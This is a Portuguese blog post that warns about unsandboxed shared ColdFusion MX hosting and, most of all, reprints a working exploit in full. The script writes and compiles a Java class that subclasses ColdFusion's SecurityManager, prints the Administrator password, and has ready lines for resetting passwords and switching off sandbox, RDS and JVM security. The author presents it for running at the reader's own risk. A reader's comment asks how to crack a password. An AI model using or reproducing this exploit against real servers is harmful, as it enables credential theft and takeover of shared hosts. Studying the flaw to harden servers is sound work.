Descobrindo a senha do ColdFusion Administrator (de novo)

Já postamos aqui uma ou mais maneiras de como descobrir a senha do ColdFusion Administrator, sempre no intuíto de alertar em como os servidores devem ser protegidos, tanto por quem desenvolve a aplicação quando por quem administra os servidores.

Também aqui no CFGIGOLÔ já foi dito sobre o perigo da função CreateObject() e da tag CFOBJECT, e agora não poderia ser diferente. Veja: o problema não é a existência desses dois recursos, mas permitir que esses dois recursos estejam habilitados em um ambiente compartilhado ou em um ambiente onde pessoas mal intencionadas possam ter acesso, como por exemplo, provedores de hospedagem espalhados aos montes por aí.

O código apresentado aqui, que é valido somente para a versão MX, foi divulgado ontem, por Eric Lackey, no site SecurityFocus. Tem como intenção demostrar como escrever uma classe java no diretório “lib” do ColdFusion e utilizá-la, por exemplo, para descobrir a senha do CF Administrator. Por tabela, demonstra também que em um servidor compartilhado sem o Sandbox configurado corretamente (essa é a parte importante desse post), você não está seguro. Exija que seu provedor de hospedagem configure e trate da segurança do seu servidor. O CFGIGOLÔ contém inúmeros posts a respeito. O Alex inclusive publicou um artigo sobre o assunto no ColdFusion Developer’s Journal no mês passado.

O código malicioso inclui métodos e funções para alter configurações importantes do servidor (como senhas e desabilitar o Sandbox Security) e outras. Se decidir executar e usar, o faça por sua conta e risco. Ninguém se responsabilizará por quaisquer danos.


<cfscript>
objFileWriter = CreateObject("java","java.io.FileWriter");
objByteArray = CreateObject("java","java.io.ByteArrayOutputStream");
objJavaC = CreateObject("java","sun.tools.javac.Main");
objString = CreateObject("java","java.lang.String");
objFile = CreateObject("java","java.io.File");
if (Server.Os.Name IS "Windows") { s = ""; } else { s = "/"; }
strJavaSource = "#Server.ColdFusion.Rootdir##s#lib#s#SecurityExploit.java";
strCfusionJar = "#Server.ColdFusion.Rootdir##s#lib#s#cfusion.jar";
strNeoSecFile = "#Server.ColdFusion.Rootdir##s#lib#s#neo-security.xml";
strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s#password.properties";
fileWriter = objFileWriter.init("#strJavaSource#",false);
fileWriter.write("import coldfusion.security.SecurityManager;");
fileWriter.write("import java.io.File;");
fileWriter.write("public class SecurityExploit extends SecurityManager {");
fileWriter.write("public SecurityExploit(File arg0, File arg1) {");
fileWriter.write("super(arg0, arg1); }");
fileWriter.write("public boolean isAdminSecurityEnabled(){");
fileWriter.write("return false;}}");
fileWriter.flush();
fileWriter.close();
str = objString.init("-classpath,#strCfusionJar#,#strJavaSource#");
strArr = str.split(",");
byteArray = objByteArray.init();
compileObj =objJavaC.init(byteArray,str);
compileObj.compile(strArr);
obj = CreateObject("java","SecurityExploit");
file1 = objFile.init("#strNeoSecFile#");
file2 = objFile.init("#strPasswdFile#");
obj.init(file1,file2);
obj.load();
</cfscript>
<cfscript>
// Get Administrator Password
strAdminPw = obj.getAdminPassword();
// Set Administrator Password
//obj.setAdminPassword("test123");
// Turn off Sandbox Security
//obj.setSandboxSecurityEnabled(false);
// Turn off Administrator Login
//obj.setAdminSecurityEnabled(false);
// Turn off RDS Login
//obj.setRdsSecurityEnabled(false);
// Set RDS Password
//obj.setRdsPassword("test123");
// Turn off JVM Security
//obj.setJvmSecurityEnabled(false);
</cfscript>
<cfoutput>Adminstrator Password: #strAdminPw#</cfoutput>

2 Comments on “Descobrindo a senha do ColdFusion Administrator (de novo)”

  1. emanweb disse:

    Muito boa dica! Sempre válido lembrar que um minimo de cuidado e segurança é necessário principalmente se seu site possui transações comérciais.

    Só uma dica. Tem um pequeno erro no código acima. Existe uma barra extra quando abrindo o segundo cfscript.

    abraços

    Emanuel

  2. Abner disse:

    Oi quria saber como fasso para descobrir uma senha q a tela fica toda preta e diz enter correct password ??? como fasso pra descobrir por favor me falem !!!